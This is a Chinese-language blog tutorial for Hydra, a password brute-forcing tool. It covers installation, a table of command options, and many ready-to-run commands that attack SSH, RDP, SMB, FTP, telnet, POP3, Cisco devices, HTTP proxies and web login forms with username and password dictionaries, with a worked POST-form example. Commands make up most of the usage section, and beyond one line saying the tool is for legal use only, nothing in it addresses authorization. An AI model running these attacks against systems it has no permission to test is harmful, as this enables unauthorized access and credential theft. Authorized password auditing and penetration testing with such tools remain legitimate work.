hydra(爆破神器)

每个密码安全研究都显示,最大的安全漏洞是密码。该工具是概念代码的证明,为研究人员和安全顾问提供了展示从远程系统获取未授权访问是多么容易的可能性。

这个工具仅供法律使用!

已有几种登录黑客工具可用,但是,没有一种工具支持多种协议来攻击或支持并行连接。

它经过测试,可以在Linux,Windows / Cygwin,Solaris,FreeBSD / OpenBSD,QNX(Blackberry 10)和MacOS上进行干净的编译。

目前该工具支持以下协议:Asterisk,AFP,Cisco AAA,Cisco auth,Cisco enable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-POST ,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTPS-POST,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP ,Oracle监听器,Oracle SID,Oracle,PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,RTSP,SAP / R3,SIP,SMB,SMTP,SMTP Enum,SNMP v1 + v2 + v3,SOCKS5 ,SSH(v1和v2),SSHKEY,Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNC和XMPP。

 

 

#安装依赖
yum -y install gcc libssh-devel openssl-devel
#克隆项目
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra/
./configure --prefix=/usr/local/hydra && make && make install
ln -s /usr/local/hydra/bin/hydra /usr/bin/


常用选项:
选项                           说明 示例
-h 查看所有可用的命令行选项          hydra -h
-U 检查模块是否具有可选参数 hydra     -U smb
-l 指定用户名                  -l zhangsan
-p 指定密码                  -p 123456
-C 使用冒号分隔的user:passwd格式,而不是-l/-p      -C zhangsan:123456
-L 指定用户名字典文件            -L /root/user.dict
-P 指定密码字典文件             -P /root/passwd.dict
-M 指定目标IP列表文件           -M /root/ip.dict
-e 尝试“尝试登录为密码”和“空密码”        -e ns
-s 指定对应模块使用的端口,例如:如果ssh端口不是默认22,这里可以指定      -s 2222
-t 指定线程数,默认16            -t 1
-vV 显示详细破解过程             -vV
-o 指定将结果输出到文件 -o /root/result.txt
-b 指定-o选项输出的结果信息的类型,默认为文本信息,可以自定为jsonv1和json格式。      -b json
-R 恢复先前中止/崩溃的会话(当hydra被Control-C中止,被杀死或崩溃时,它会留下一个“hydra.restore”文件,其中包含恢复会话所需的所有信息。此会话文件每5分钟写入一次。注意:hydra.restore文件不能复制到不同的平台(例如从小端到大端,或从Solaris到AIX))   -R
-I 忽略现有的恢复文件(不要等待10秒)        -I
-S 执行SSL连接      -S
-f 在使用-M参数后,找到第一对登录用户和密码的时候终止破解      -f
-W 设置最大超时时间,单位秒,默认30秒        -W 60
-q 不要打印有关连接错误的消息    -q

 

 创建user.txt和passwd.txt步骤省略......

 

刚才开始破解时用-o选项保存到了ssh.log文件中,打开ssh.log查看下:

可以看到已经显示出了远端IP、用户名、密码...

 

 

 

 

使用案例:

使用hydra破解ssh的密码
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh

破解https:
# hydra -m /index.php -l username -P pass.txt IP https

破解teamspeak:
# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak

破解cisco:
# hydra -P pass.txt IP cisco
# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb:
# hydra -l administrator -P pass.txt IP smb
破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
破解rdp:
# hydra IP rdp -l administrator -P pass.txt -V
破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18

破解telnet
# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V


破解ftp:
# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
# hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
get方式提交,破解web登录:
  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
  # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php
post方式提交,破解web登录:
  该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:
<form action="index.php" method="POST">
<input type="text" name="name" /><BR><br>
<input type="password" name="pwd" /><br><br>
<input type="submit" name="sub" value="提交">
</form>
  假设有以上一个密码登录表单,我们执行命令:
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
  说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
  后面参数是网页中对应的表单字段的name 属性,后面<title>中的内容是表示错误猜解的返回信息提示,可以自定义。

 

 

欢迎加入QQ群一起讨论Linux、开源等技术

posted @ 2019-01-24 18:16  e-8bit  阅读(3794)  评论(0编辑  收藏  举报